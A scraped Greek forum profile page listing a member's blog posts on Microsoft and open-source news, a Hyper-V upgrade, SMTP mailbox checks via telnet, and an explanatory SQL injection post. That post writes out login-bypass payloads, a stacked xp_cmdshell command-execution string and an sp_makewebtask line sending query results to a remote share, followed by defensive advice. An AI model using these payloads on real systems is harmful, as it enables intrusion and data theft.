Jump to content

Blackman

Members
  • Posts

    1970
  • Joined

  • Last visited

  • Days Won

    15

Blog Entries posted by Blackman

  1. Blackman
    Όπως αναφέρει το port25, η Microsoft ανακοίνωσε σήμερα στο συνέδριο DrupalConf την Community Technology Preview (CTP) έκδοση του νέου SQL Driver για PHP 2.0 με υποστήριξη για PHP Data Objects.
    Φυσικά αυτό για τους developers είναι ένα μεγάλο βήμα, καθώς θα τους είναι πιο εύκολο να συνδεθούν με τον SQL, καθώς οι περισσότερες (όπως και η νέα έκδοση του Drupal 7) να διαλειτουργήσει (interoperate) ομαλά με τις τελευταίες εκδόσεις του SQL Server.
    Η συγκεκριμένη έκδοση (κάτι σαν τις αντίστοιχες RC) δίνει την δυνατότητα στους χρήστες να δουν το νέο εργαλείο και φυσικά να κάνουν τις παρατηρήσεις τους, ώστε να επηρεάσουν την τελική έκδοση του προγράμματος που θα βγει μετά το δεύτερο μισό αυτού του έτους.

    Προσωπική άποψη είναι ότι με το συγκεκριμένο εργαλείο, ανοίγονται τεράστιοι ορίζοντες για πολλά πράγματα για να γίνουν. Open Source προγράμματα που πλέον μπορούν να συνδεθούν με SQL server (αντί συνήθως με MySQL και άλλες βάσεις) και φυσικά περισσότεροι προγραμματιστές πλέον μπορούν να εκμεταλλευτούν τις δυνατότητες του MS SQL για να πετύχουν το στόχο τους.
    Ένα πρόγραμμα που έχει τέτοια δυνατότητα επιλογής βάσης δεδομένων το κάνει πολύ ευέλικτο στην αγορά και με τον συγκεκριμένο driver η Microsoft κάνει πλέον πολύ δυνατούς τους εκάστοτε PHP developers.
    Για περισσότερες πληροφορίες…
    http://port25.technet.com/archive/2010/04/19/announcing-the-sql-server-driver-for-php-2-0.aspx
    http://blogs.msdn.com/interoperability/archive/2010/04/19/sql-server-driver-for-php-2-0-ctp-adds-php-s-pdo-style-data-access-for-sql-server.aspx
    http://blogs.msdn.com/sqlphp/default.aspx
  2. Blackman
    Σε συνέχεια του σχετικού άρθρου http://autoexec.gr/blogs/blackman/archive/2010/02/18/microsoft-platinum-sponsor-open-source-business-conference.aspx
    όπου η Microsoft ήταν σπόνσορας στο Open Source Business Conference 2010, ήρθε μία ενδιαφέρουσα έρευνα. Στο ίδιο συνέδριο υπήρχε και παρουσία του Geeknet το οποίο εμπεριέχει στο δίκτυο του τα SourgeForge, Shlashdot, ThinkGeek, Ohloh και το Freshmeat. Οι περισσότεροι νομίζω ότι γνωρίζετε τις συγκεκριμένες ιστοσελίδες, οι οποίες είναι άμεσα συνδεδεμένες με ότι έχει να κάνει με Open Source και γενικά όλα τα ανοιχτά πρότυπα.
    Η Geeknet έκανε μία έρευνα για την Microsoft για να δουν σε τι ποσοστό τα Open Source προγράμματα δουλεύουν και σε πλατφόρμες της Microsoft. Το ενδιαφέρον στην συγκεκριμένη περίπτωση (το οποίο μου προκάλεσε και εμένα κάποια εντύπωση) είναι ότι παρόλο που τα τελευταία χρόνια η χρήση των Open Source λειτουργικών (λέγε με Linux) έχουν ανέβει κατά πολύ, την ίδια ώρα τα Open Source προγράμματα που τρέχουν και σε Windows έχουν ανέβει σε αριθμούς επίσης. Η έρευνα έδειξε ότι από το σύνολο των Open Source προγραμμάτων, το 2005 72% από αυτά ‘έπαιζαν’ και σε Windows, ενώ το 2009 το νούμερο αυτό είναι στο 82%.

    Αυτό ουσιαστικά τι σημαίνει; Ότι από τα 433.000 Open Source προγράμματα που υπάρχουν στο Geeknet αυτή την στιγμή, 350.000 από αυτά είναι συμβατά με τα Windows. Φυσικά για εκείνους που παρακολουθούν την εξέλιξη και την εμπλοκή της Microsoft στο Open Source και στο Interoperability κομμάτι τα τελευταία 8 χρόνια μόνο τυχαίο δεν μπορεί να χαρακτηριστεί το νούμερο. Καθώς εκτός του ότι έχει βοηθήσει στην ανάπτυξή Open Source εφαρμογών, αλλά ακόμα και του πυρήνα του Linux, έχει χρησιμοποιήσει και ανοιχτό κώδικα σε κάποια από τα προϊόντα της.
    http://port25.technet.com/archive/2008/11/07/open-source-interoperability-projects-at-microsoft.aspx
    http://port25.technet.com/archive/2009/09/29/contribution-without-a-thud.aspx
    http://www.microsoft.com/presspass/features/2009/jul09/07-20linuxqa.mspx
    http://news.softpedia.com/news/Forget-Windows-7-Microsoft-Helps-Linux-Grow-117149.shtml
    http://blogs.computerworld.com/dear_microsoft_thanks_for_the_help_linux
    (Για να διαβάσετε καλύτερα τον παραπάνω πίνακα θα αναφέρω τα εξής:
    POSIX = Portable Operating Systems Interface for Unix
    συνεπώς μιλάμε για τα Open Source projects που είναι για συστήματα με Unix APIs (δλδ Linux & Unix)
    Platform Agnostic = ουσιαστικά Open Source projects που μπορούν και ‘τρέχουν’ σε όλα τα συστήματα)
    Συνεχίζοντας ένα ακόμα ενδιαφέρον στοιχείο είναι ότι από το 2005 πολύ μεγάλο ποσοστό των νέων Open Source projects είναι Operating System Agnostic και φυσικά αυτό υποστηρίζεται από το γεγονός των ευρέως διαδεδομένων scripting languages και των σχετικών runtimes (όπως αναφέρει η Geeknet).

    Ένα ακόμα πιο ενδιαφέρον χαρακτηριστικό είναι ότι το TOP 10 των πιο πολυκατεβασμένων (αυτό είναι το most downloaded) Open Source προγραμμάτων στο SourgeForge είναι ΜΟΝΟ για Windows. Τα προγράμματα αυτά είναι τα εξής: eMule, Azureus/Vuze, Ares Gallery, 7-Zip, Filezilla, GTK+ and Gimp Installer για Windows, Audacity, PortableApps.com: Portable Software/USB, DC++, και BitTorent.
    Ενώ η έρευνα δείχνει ότι αν δούμε το TOP 25, εκεί θα βρούμε 23 προγράμματα που τρέχουν σε Windows από τα οποία τα 14 είναι αποκλειστικά για Windows.
    Πολύ ενδιαφέρον δεν βρίσκετε;
    πηγή: port25 & geeknet
  3. Blackman
    Οι περισσότεροι γνωρίζετε την γλώσσα ανοιχτού κώδικα PHP, η οποία είναι η πλέον διαδεδομένη για WEB development. Οι περισσότεροι ακούγοντας την λέξη PHP την συνδυάζουν αυτόματα με λειτουργικά ανοιχτού κώδικα. Μία έρευνα της εταιρείας Zend ασχολήθηκε με το λειτουργικό που χρησιμοποιούν οι developers της εν λόγω γλώσσας.
    Η συγκεκριμένη έρευνα έγινε μεταξύ 2000 PHP developers τον περασμένο Δεκέμβρη και έδειξε ότι το 85% χρησιμοποιούν Linux σαν το βασικό τους λειτουργικό σύστημα, την ίδια ώρα που τα Windows ήταν δεύτερα με 11%, ενώ το MAC OS X τρίτο με 2%.
    Το ενδιαφέρον όμως τις έρευνας είχε να κάνει όταν οι προγραμματιστές ρωτήθηκαν για το πιο λειτουργικό χρησιμοποιούν και πάνω στο οποίο κάνουν το development. Εκεί τα νούμερα άλλαξαν καθώς βάσει της έρευνας, 42% χρησιμοποιούν τα Windows για το development, 38,5% Linux και 19,1% Mac OS X.
    Αξίζει να αναφερθεί ότι το 2006 στέλεχος της Microsoft είχε αναφέρει ότι 85% των PHP developers έκαναν προγραμματισμό πάνω σε Windows, αλλά μόνο 20% από αυτά τα προγράμματα ήταν για να εγκατασταθούν σε Windows.
    Για εκείνους που θέλουν να διαβάσουν ακόμα περισσότερα για την συγκεκριμένη έρευνα να διαβάσουν το συγκεκριμένο άρθρο από το οποίο είναι και τα στοιχεία που σας παραθέτω.
    http://www.developer.com/lang/php/article.php/3865581/PHP-Developers-Prefer-Using-Windows-to-Build-Enterprise-Apps-Study.htm
    Από εκεί και πέρα, τα σχόλια που υπάρχουν ακριβώς από κάτω δίνουν μία διαφορετική εικόνα, καθώς κάποιες απόψεις από developers έρχονται να δώσουν άλλη γεύση στην όλη έρευνα. Κάποιοι αναφέρουν ότι απλά κάνουν χρήση των Windows γιατί απλά το αφεντικό τους, τους προσφέρει αυτό το λειτουργικό και δεν είναι επιλογή τους.
    Δεν ξέρω αν οι open source developers που το κάνουν σαν επάγγελμα είναι και φανατικοί υποστηρικτές του Open Source ή αντιMicrosoft, αλλά προσωπικά τα αποτελέσματα της συγκεκριμένης έρευνας τα είδα απολύτως λογικά. Όχι στις περιπτώσεις που γίνεται ανάπτυξη μίας διαδικτυακής εφαρμογής η οποία θα γίνει hosted πάνω σε Linux Web Server, αλλά από την στιγμή που πολλές εταιρείες που δουλεύουν σε Microsoft Windows και IIS σηκώνουν εκεί τέτοιου τύπου εφαρμογές, είναι λογικό η εφαρμογή τους να είναι developed/checked/tested σε Windows.
    Τα λοιπά συμπεράσματα και σχόλια…δικά σας.
  4. Blackman
    Ξεκινάω το συγκεκριμένο post για να δείτε πως γίνεται το hack που ονομάζεται SQL Injection, καθώς επίσης και διάφοροι τρόποι που προτείνονται για να αποφευχθεί κάτι τέτοιο και διάφορα άλλα. Σκοπός μου είναι να δώσω την εικόνα του συγκεκριμένου hack, αλλά αν θέλετε να μάθετε να το κάνετε θα πρέπει να το ψάξετε περισσότερο μόνοι σας.

    Τι είναι SQL Injection attack

    Όπως μπορείτε να βρείτε και στο Wikipedia, μιλάμε για μία τεχνική η οποία εκθέτει αδυναμίες στην ασφάλεια (security vulnerability exploit) μίας βάσης δεδομένων. Η συγκεκριμένη ‘τρύπα’ έχει να κάνει με το τρόπο που φιλτράρονται οι χρήστες ή γιατί τα usernames δεν είναι strongly typed. Οι επιθέσεις αυτές είναι επίσης γνωστές και ως SQL Insertion attacks.

    Μόλις ο hacker αποκτήσει πρόσβαση, τότε μπορεί να εκτελέσει ότι query θέλει πάνω στην βάση δεδομένων. Συνεπώς και να τραβήξει ή να αλλάξει όποια πληροφορία θέλει.

    SQL Injection FAQ

    Ε:Τι χρειάζεται κάποιος για να κάνει την παραπάνω επίθεση;

    Α:Απλά έναν web browser.

     

    Ε:Τι πρέπει να ψάξει για να κάνει κάποιος τη συγκεκριμένη επίθεση;

    Α:Σελίδες που επιτρέπουν την εισαγωγή δεδομένων όπως login page, search page, feedback κλπ. Μερικές φορές ακόμα και HTML σελίδες χρησιμοποιούν POST εντολές για να στείλουν τις σχετικές παραμέτρους σε κάποια σελίδα ASP. Οπότε σε αυτή την περίπτωση δεν θα δείτε τις παραμέτρους αυτές στην URL, αλλά μόνο αν ελέγξετε τον source code και ψάξετε και βρείτε το σημείο “FORM” μέσα στον κώδικα πχ

    <FORM action=Search/search.asp method=post>
    <input type=hidden name=A value=C>
    </FORM>

    Οτιδήποτε υπάρχει μεταξύ FORM & /FORM είναι πιθανές παράμετροι που θα μπορεί κάποιος να χρησιμοποιήσει.

     

    Ε:Τι γίνεται αν δεν βρίσκουμε σελίδα που να δέχεται εισαγωγή δεδομένων;

    A:Θα πρέπει να ψάξετε σελίδα ASP, JSP, CGI ή PHP. Αυτό που θα πρέπει να ψάχνει κάποιος είναι σελίδες όπως:

    http://autoexec.gr/index.asp?id=10

     

    E:Πως θα δοκιμάσουμε αν υπάρχει ‘τρύπα’

    A:Δοκιμάστε να γράψετε hi' or 1=1--

    αυτό μπορεί να είναι στο Login, στο Password ή ακόμα και την URL

    πχ http://autoexec.gr/index.asp?id=hi' or 1=1--

     

    E:Αλλά γιατί ' or 1=1--;

    Α:Πέραν του ότι μπορεί να γίνει bypass το login, είναι πιθανόν να δει κάποιος επιπλέον πληροφορίες που συνήθως δεν είναι διαθέσιμες. Αν πχ παμε σε μία σελίδα που έχει link σε μία άλλη σελίδα όπως http://autoexec.gr/index.asp?category=hardware

    Βλέπουμε ότι στο URL η μεταβλητή είναι το category, ενώ το hardware είναι η τιμή για την μεταβλητή. Αυτό που πλευρά κώδικα θα εμπεριέχει κώδικα σαν και τον παρακάτω:

    v_cat = request(“category")

    sqlstr=”SELECT * FROM hardwr WHERE PCategory=’” & v_cat & “’”

    set rs=conn.execute(sqlstr)

    Έτσι με το παραπάνω το SQL που ουσιαστικά αντιστοιχεί τον συγκεκριμένο κώδικα μπορεί να γίνει:

    SELECT * FROM hardwr WHERE PCategory=’hardware’

    όπου το query θα φέρει πίσω αποτελέσματα για το hardware.

    Οπότε σε αυτή την περίπτωση αν πάρουμε το url

    http://autoexec.gr/index.asp?category=hardware' or 1=1--

    Τώρα η μεταβλητή v_cat αντιστοιχεί στο "hardware' or 1=1--", οπότε αν το βάλουμε αυτό σε SQL query, θα έχουμε

    SELECT * FROM hardwr WHERE Pcategory=’hardware’ or 1=1--‘

    Τι έχουμε σε αυτή την περίπτωση; Ότι το query θα μας φέρει τα πάντα από τον πίνακα hardwr ασχέτως αν είναι ίσο με το hardware ή όχι. Η διπλή παύλα (--) λέει στον MS SQL server να αγνοήσει το υπόλοιπο query, το οποίο με την σειρά του θα παρατήσει το τελευταίο quote (‘). Μερικές φορές η διπλή παύλα μπορεί να αντικατασταθεί με το σύμβολο της δίεσης (#).

    Παρόλα αυτά όμως, αν δεν είναι SQL server ή δεν μπορείς (ή δεν θες) να αγνοήσεις το υπόλοιπο query, μπορούμε επίσης να δοκιμάσουμε να βάλουμε

    ‘ or 'a'='a

    Οπότε το SQL query θα γίνει:

    SELECT * FROM hardwr WHERE PCategory=’hardware’ or ‘a’=’a’

    Και θα έχουμε το ίδιο αποτέλεσμα.

    Αντίστοιχα μπορείτε να δοκιμάσετε

    ‘ or 1=1--

    “ or 1=1--

    or 1=1--

    ‘ or ‘a’=’a

    “ or “a”=”a

    ‘) or (‘a"=‘a

     

    E:Μπορώ να αποκτήσω δυνατότητα απομακρυσμένη εκτέλεσης με SQL Injection;

    Α:Οι χρήστες SQL και δη οι developers, γνωρίζουν ότι ο SQL είναι ένα πολύ δυνατό εργαλείο και αυτό γιατί τους δίνει την δυνατότητα να κάνουν ΤΑ ΠΑΝΤΑ σε ένα σύστημα. Έτσι, επειδή ο SQL Server τρέχει σαν SYSTEM, αυτό σημαίνει ότι τα δικαιώματα που έχει είναι επιπέδου administrator στο σύστημα. Οπότε εύκολα από την στιγμή που μπορούμε να τρέξουμε ότι θέλουμε, με την χρήση stored procedures (που είσαι Αντώνη

    '; exec master..xp_cdmshel ‘ping 10.10.1.2'--

    Σε περίπτωση που το μονό quote δεν δουλεύει, χρησιμοποιήστε διπλό.

    Το ερωτηματικό στην αρχή (η semi colon όπως το λένε στα ξένα) θα τερματίσει το SQL query που εκτελείται εκείνη την ώρα και θα μας επιτρέψει να ξεκινήσουμε μία νέα εντολή SQL. Για την επιβεβαίωση ότι η εντολή εκτελέστηκε σωστά μπορούμε να πάρουμε απάντηση από ping στην IP για να δούμε αν υπάρχει κάποιο πακέτο από τον server:

    #tcpdump icmp

    Αν δεν πάρουμε απάντηση από το Ping (που λέγετε Pong), και έχουμε μήνυμα λάθους που σχετίζεται με δικαιώματα, τότε πιθανόν ο administrator έχει περιορίσει την εκτέλεση των stored procedures στον Web User.

     

    E:Πως μπορώ να πάρω το αποτέλεσμα του query μου;

    Α:Με την χρήση του sp_makewebtask:

    '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMAS.TABLES"

    αλλά να έχετε υπόψη ότι ο φάκελος SHARE που θα βρίσκεται στην IP που θέλουμε πρέπει να έχει sharing pemissions σε Everyone.

     

    Φυσικά υπάρχουν απαντήσεις και σε άλλα ερωτήματα όπως να πάρουμε αποτελέσματα από μία βάση με την χρήση μηνυμάτων λάθους από ODBC ή πως να τραβήξουμε όλα τα ονόματα στηλών από ένα πίνακα, ή πως τραβάμε ότι data θέλουμε, πως να βάλουμε δικά μας data κλπ

    Οπότε καταλαβαίνετε ότι η όλη διαδικασία είναι μεγάλη και φυσικά άμεσα συνδεδεμένη με αυτό που κάνει και ένας developer. Αν για κάποιους δεν σας λένε τίποτα, σίγουρα για άτομα όπως ο Αντώνης του λένε πολλά.

    Αν θέλετε να μάθετε περισσότερα για SQL Injection δείτε τα παρακάτω…

    http://projects.webappsec.org/SQL-Injection

    http://msdn.microsoft.com/en-us/library/ms161953.aspx

    http://net.tutsplus.com/articles/can-you-hack-your-own-site-a-look-at-some-essential-security-considerations/

    http://en.wikipedia.org/wiki/SQL_injection

    http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#LineCommentAttacks

    http://geniushackers.com/blog/2009/04/08/sql-injection-ultimate-method-for-website-hacking/



     

    ΠΩΣ ΑΠΟΦΕΥΓΟΥΜΕ SQL INJECTIONS.

    Αν διαβάσετε τα παραπάνω θα πάρετε και μία εικόνα για το πρέπει να κάνετε ώστε να αποφύγετε τι ‘κακοτοπιές’ και συνεπώς να μην πέσετε θύμα μίας επίθεσης με SQL Injection. Αλλά θα αναφέρω και κάποια πράγματα και εγώ.

    Φροντίστε να ‘βγάλετε’ (εσείς ή κάποιος developer) εκτός χαρακτήρες όπως quotes, slash, backslash, semi colon, NULL, new line, κλπ και αυτά πρέπει να βγουν από τα εξής:

    1) εισαγωγή από χρήστες σε πεδίο

    2) παραμέτρους στην URL

    3) Τιμές από cookies

    Επίσης κάτι άλλο που προτείνεται είναι το να βεβαιωθείτε ότι όλα τα νούμερα έχουν μετατραπεί σε integer. Επίσης διαγράψτε stored procedures που δεν σας αρέσουν και δεν χρειάζεστε όπως master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask .

     

    ΓΕΝΙΚΑ ΣΥΜΠΕΡΑΣΜΑΤΑ

    Η χρήση SQL Injection καταλαβαίνετε ότι δεν είναι κάτι απλό. Είναι πιθανότατα ένα από τους πιο δυνατούς τρόπους για να κάνει κάποιος hacking και επίσης είναι ο πιο απλός καθώς δεν χρειάζεται ιδιαίτερα εργαλεία, αλλά μονάχα ένας web browser. Από εκεί και πέρα αν κάποιος έχει τις απαραίτητες γνώσεις μπορεί να αποκτήσει πλήρης πρόσβαση στο μηχάνημα, πέραν από τα δεδομένα που μπορεί να έχει η βάση δεδομένων. Αυτό που καταφέρνει να κάνει κάποιος ουσιαστικά είναι να ‘κοροϊδέψει το σύστημα και να του δώσει όλες τις πληροφορίες που ζητάει, και καταλαβαίνετε εύκολα ότι αν το συγκεκριμένο attack συνδυαστεί με Google Hacking η ζωή του επίδοξου hacker γίνεται ακόμα πιο εύκολη.

    Ελπίζω με το παραπάνω να πήρατε μία εικόνα για το τι είναι αυτή η μορφή επίθεσης, οπότε να πάρετε και τα μέτρα σας (όσοι χρειάζεται).

     

    Επιπλέον Links

    http://www.digitaloffense.net/wargames01/IOWargames.ppt
    http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
    http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
    http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

    http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

    http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

    http://www.owasp.org/asac/input_validation/sql.shtml

    http://www.sensepost.com/misc/SQLinsertion.htm
  5. Blackman
    Όσοι έχετε εγκατεστημένο Hyper-V Server R2 RC και δεν είχατε αναβαθμίσει στην RTM έκδοση, από προχθές θα πρέπει να το έχετε κάνει. Αν δεν το έχετε κάνει και θέλετε να το κάνετε τώρα η διαδικασία είναι απλή, αλλά έχει κάποια σημεία που χρειάζεται προσοχή.
    Βήμα 1ο
    Κατεβάζουμε τον Hyper-V Server R2 RTM και τον βάζουμε σε DVD/USB ή ότι άλλο θέλετε.
    Βήμα 2ο
    Σταματάμε όλα τα Virtual Machines.
    Βήμα 3ο
    Σε περίπτωση που έχετε ένα server ή πάνω από έναν και πιθανόν σε cluster, η διαδικασία είναι η ίδια. Βάζουμε το DVD/USB στον κάθε server και ‘τρέχοντας’ το setup, επιλέγουμε την γλώσσα του συστήματος, στην συνέχεια Install και στο επόμενο Menu την πρώτη επιλογή για να κάνουμε Upgrade.

    Η διαδικασία θα ξεκινήσει και θα αναβαθμίσει το σύστημα σας χωρίς πρόβλημα. Όταν το σύστημα επανέλθει το μοναδικό πράγματα που θα πρέπει να κάνετε είναι να δώσετε πάλι static ip (τουλάχιστον ήταν το μοναδικό πράγμα που ρύθμισα εγώ) αυτή που είχε και πριν στο δίκτυο σας. Κάντε μία επιπλέον επανεκκίνηση μετά την ολοκλήρωση όλων των παραπάνω.
    Βήμα 4ο
    Ξεκινήστε στα Virtual Machines
    Βήμα 5ο
    Μπαίνουμε σε κάθε Virtual Machine κάνοντας connect από τον Hyper-V Manager και εφόσον κάνουμε Login στο μηχάνημα, προχωράμε για να κάνουμε αναβάθμιση των Integration services.

    Το σύστημα θα βρει εγκατεστημένο παλιότερη έκδοση και θα ζητήσει για αναβάθμιση στην οποία και προχωράμε. Αυτό το σημείο είναι και το tricky. Όλα τα VMs που είναι σε Windows Server 2008 δεν θα έχουν κανένα πρόβλημα. Σε παλαιότερες εκδόσεις όπως πχ Windows Server 2003 πιθανόν να αντιμετωπίσετε (όπως και εγώ) το εξής. Μετά την αναβάθμιση των services το σύστημα θέλει επανεκκίνηση. Μόνο που δεν ξεκινάει καθώς κάθε φορά θα βλέπετε blue screen of death και θα γίνετε restart.
    Σε αυτό το σημείο αν την έχετε πατήσει, απλά κατά την εκκίνηση πατήστε F8 και μετά Last Known Good Configuration. Το σύστημα θα ξεκινήσει κανονικά, οπότε θα μπορείτε να κάνετε τα παρακάτω (φυσικά αυτή θα μπορεί να είναι και η διαδικασία από την αρχή για προγενέστερα συστήματα).
    Πηγαίνουμε στην registry του συστήματος που συζητάμε και μετά στο κλειδί.
    HKEY_LOCAL_MACHINE->SYSTEM->CurrentControlSet->Services->Wdf01000
    και στο κλειδί Group το αλλάζουμε την εγγραφή σε WdfLoadGroup
    Πηγαίνουμε στο add/remove programs και απεγκαθιστούμε τα Integration Services. Μόλις γίνει αυτό τότε πάμε πάλι με τον ίδιο τρόπο και κάνουμε πάλι εγκατάσταση τα integration services στο μηχάνημα. Στην επανεκκίνηση το σύστημα θα ξεκινήσει χωρίς πρόβλημα.
    Σε αυτό το σημείο να μην ξεχάσετε, ότι εφόσον έχουμε κάνει απεγκατάσταση αρχικά τα integration services οι ρυθμίσεις που είχαμε σε αυτά απλά χάνονται, συνεπώς αν στο μηχάνημα είχατε static ip θα πρέπει να την ορίσετε ξανά ή όποια άλλη επιλογή είχατε κάνει σχετικά.
    Υ.Γ. Το παραπάνω πρόβλημα μου εμφανίστηκε σε δύο από τα τρία Windows Server 2003 VMs που έχω. Συνεπώς υπάρχει και η πιθανότητα να μην το αντιμετωπίσετε.
     
     
     
     
    Ευχαριστώ τον Hyper-Vaggelis για την βοήθεια του ειδικότερα στο κομμάτι με την registry.
  6. Blackman
    H Microsoft θα είναι για ακόμα μία φορά πλατινένιος χορηγός του ετήσιου συνεδρίου για Open Source το οποίο ξεκίνησε εχθές και ολοκληρώνεται σήμερα στο Palace Hotel στο San Francisco.
    Σαν μέρος της χορηγίας θα μιλήσει σήμερα (18/2) ο Stuart McKee, National Technology Office των ΗΠΑ για την Microsoft. Με τίτλο “Open Source at Microsoft: Meeting cusomer, developer and partner needs through a diversified ecosystem.” ο McKee θα μιλήσει για όλες τις ευκαιρίες που υπάρχουν για τις εφαρμογές ανοιχτού κώδικα μέσα σε όλες τις πλατφόρμες της Microsoft, το SharePoint και το Azure και το πόσο καλό είναι για όσους εμπλέκονται στην όλη κατάσταση, μέσω της αυξημένη ευελιξίας και του πλήθους των επιλογών που δίνονται.
    Λεπτομέρειες στην επίσημη ιστοσελίδα
    Επιπλέον links.
    https://www.eiseverywhere.com/ereg/newreg.php?eventid=7578&code=EOSBCCW1117
    http://www.linux.com/community/events/details/138-open-source-meets-business-2010
    http://www.idg.com/www/IDGProducts.nsf/0/AB1A3B06E065BDED852576180063630E
    http://www.coss.fi/en/events/open-source-business-conference-2010
  7. Blackman
    Πρόσφατα αναζητούσα τον λόγο γιατί ένας υπολογιστής φαινόταν να μην έχει στείλει κάποια emails, παρόλο που φαινόντουσαν ότι είχαν φύγει. Το πρώτο πράγμα που ρώτησα τον χρήστη είναι το αν θα μπορούσαμε να στείλουμε δοκιμαστικό email και μετά να πάρουμε και ένα τηλέφωνο επιβεβαίωσης. Ο συνάδελφος μου είπε ότι κάτι τέτοιο δεν πρέπει να γίνει για πολλούς και διάφορους λόγους.
    Οπότε πριν ξεκινήσω να ελέγχω οτιδήποτε θα έπρεπε να ελέγξω αν αυτές οι 5 διευθύνσεις που μου έδωσε ο χρήστης είναι valid και χωρίς να στείλω email. Τα πράγματα είναι απλά και γίνονται με την χρήση της εντολής nslookup και την χρήση telnet.
    ΠΩΣ ΓΙΝΕΤΑΙ;
    Αρχικά πρέπει να βρούμε τον mail exchange του domain που μας ενδιαφέρει.
    Οπότε αν μιλάμε για ένα email λογαριασμό [email protected]
    τότε θα πρέπει να γράψουμε
    nslookup -q=mx blackdomain.com
    η απάντηση που θα πάρουμε θα πρέπει να είναι της μορφής…
    blackdomain.com MX preference = 10, mail exchanger = mail.blackdomain.com
    mail.blackdomain.com internet address = 208.96.53.76

    Στην συνέχεια συνδεόμαστε στον mail server mail.blackdomain.com
    telnet mail.blackdomain.com 25
    και πέρνουμε απάντηση τύπου…
    220 mail.blackdomain.com ESMTP Postfix NO UCE NO UEMA C=US L=CA Unsolicated electronic mail advertisements strictly prohibited, subject to fine under CA law CBPC 17538.45. This electronic mail service provider’s equipment is located in the State of California. See http://www.blackdomain.com/static/inbound-email-policy.html for more information.
    συνεχίζουμε και μιλάμε με το σύστημα γράφοντας…
    helo hi
    και παίρνουμε απάντηση τύπου…
    250 mail.blackdomain.com

    στην συνέχεια ελέγχουμε αν το σύστημα μπορεί να δεχτεί email από συγκεκριμένη διεύθυνση…
    mail from: [email protected]
    με απάντηση…
    250 2.1.0 Ok
    Οπότε μετά μπορούμε να ρωτήσουμε αν υπάρχει το mailbox που ψάχνουμε…
    rcpt to: [email protected]

    με απάντηση (αν δεν υπάρχει ή κάτι σχετικό):
    550 5.1.1 [email protected]: Recipient address rejected: User unknown in local recipient table.
    και μετά κλείνουμε την σύνδεση με την εντολή quit.
    ΠΑΡΑΤΗΡΗΣΕΙΣ:
    1) Το νούμερο 550 σημαίνει ότι η διεύθυνση συντακτικά είναι σωστή, αλλά λάθος σαν ύπαρξη mailbox.
    2) Εάν υπάρχει ο συγκεκριμένος λογαριασμός τότε η απάντηση δεν θα έδινε 550, αλλά 250.
    3) Ο συγκεκριμένος τρόπος δεν ενδείκνυται για χρήση σε gmail ή yahoo ή ότι άλλο τέτοιου τύπου, καθώς η IP σας μπορεί να καταλήξει σε κάποια blacklist.

    Ελπίζω να φανεί και σε άλλους χρήσιμο.
  8. Blackman
    Δεν ξέρεις πως να αποκτήσεις την σπίθα; Πως να ξεκινήσεις να δουλεύεις; Θες μία βοήθεια για να το κάνεις; Ασχολείσαι και με το Web development; Τότε τι περιμένεις;
    Το παρακάτω άρθρο σε ενδιαφέρει γενικά σαν γνώση (εντυπωσιάστηκα και εγώ όταν το άκουσα), αλλά και επαγγελματικά αν ασχολείσαι ή έχεις εταιρεία που ασχολείται με την δημιουργία ιστοσελίδων. Η Microsoft ήρθε να σε βοηθήσει. (γράφω σαν διαφήμιση aman teleshoping)
    Οπότε κράτα το χαμόγελο σου αν ισχύουν κάτι από τα παρακάτω:
    Το σύνολο των υπαλλήλων της εταιρείας (συμπεριλαμβανομένων και των ιδιοκτητών) να μη ξεπερνάει τους 10 Η εταιρεία ή ο επαγγελματίας θα πρέπει να δραστηριοποιείται στο Σχεδιασμό – Κατασκευή Web Σελίδων/Εφαρμογών Να διαθέτει και να κοινοποιει τουλάχιστον 1 καινούριο Web Site σε διάστημα 6 μηνών χρησιμοποιώντας τα παραπάνω εργαλεία και λογισμικό σε συνδυασμό με υπηρεσία: Self-Hostιng με ιδιόκτητο HW εξοπλισμο και στο χώρο του ή σε Collocation Ή Dedicated/Virtual Dedicated Hosting σε έναν από τους συνεργαζόμενους στο πρόγραμμα Hosters. ------------
    Το όνομα αυτού λέγεται Microsoft WebisteSpark και ουσιαστικά παρέχει δωρεάν στον επαγγελματία το λογισμικό και τις λύσεις της Microsoft αλλά και την τεχνική εξυπηρέτηση και εκπαίδευση.
    Τι μπορεί να βρει κανείς σε αυτό το ‘πακέτο’; Παραθέτω τα στοιχεία που προωθεί η ίδια η Microsoft και φαίνονται αρκετά κατατοπιστικά.
    Ανάπτυξη Επιχειρηματικότητας
    · WebsiteSpark Marketplace (powered by Pinpoint). Ο δικτυακός τόπος όπου ο επαγγελματίας μπορεί να δείξει τη δουλειά του απλουστεύοντας έτσι τη διαδικασία επαφής με υποψήφιους πελάτες.
    · Portal Προσέλκυσης Συνεργατών. Ο δικτυακός τόπος MPN που προσφέρεται η δυνατότητα αναζήτησης και προσέλκυσης συνεργατών με συμπληρωτικές ικανότητες
    · Web App Gallery. Ο δικτυακός τόπος που παρέχει άμεση πρόσβαση σε γνωστές και διαθέσιμες Web εφαρμογές της κοινότητας. Οι επαγγελματίες έχουν τη δυνατότητα να βρουν εδώ και να χρησιμοποιήσουν τις πιο διάσημες εφαρμογές και λύσεις. Αυτές οι εφαρμογές έχουν ελεγxθεί για την συμβατότητα τους με την πλατφόρμα Web της Microsoft, και μπορούν να εγκατασταθούν και να λειτουργήσουν απευθείας σε λίγα «clicks».
    Υποστήριξη και Κατάρτιση
    Το Microsoft WebsiteSpark παρέχει στον επαγγελματία τεχνική υποστήριξη και εκπαίδευση προκειμένου να τον βοηθήσει με την τεχνική κατάρτιση:
    · Δυο περιπτώσεις υποστήριξης που καλύπτουν την επίλυση τεχνικών προβλημάτων.
    · Πρόσβαση στην ευρύτερη κοινότητα τεχνικής υποστήριξης από συνεργάτες.
    · Απεριόριστη πρόσβαση στα τεχνικά newsgroups του MSDN.
    · Απεριόριστη υποστήριξη σε μη τεχνικά θέματα.

    Ισχυρή Εργαλειοθήκη
    · Εργαλεία Σχεδίασης / Ανάπτυξης / Ελέγχου / Δοκιμής. Κάθε εταιρεία θα αδειοδοτείται με:
    o Visual Studio® 2008 Professional Edition – 3 άδειες χρήσης
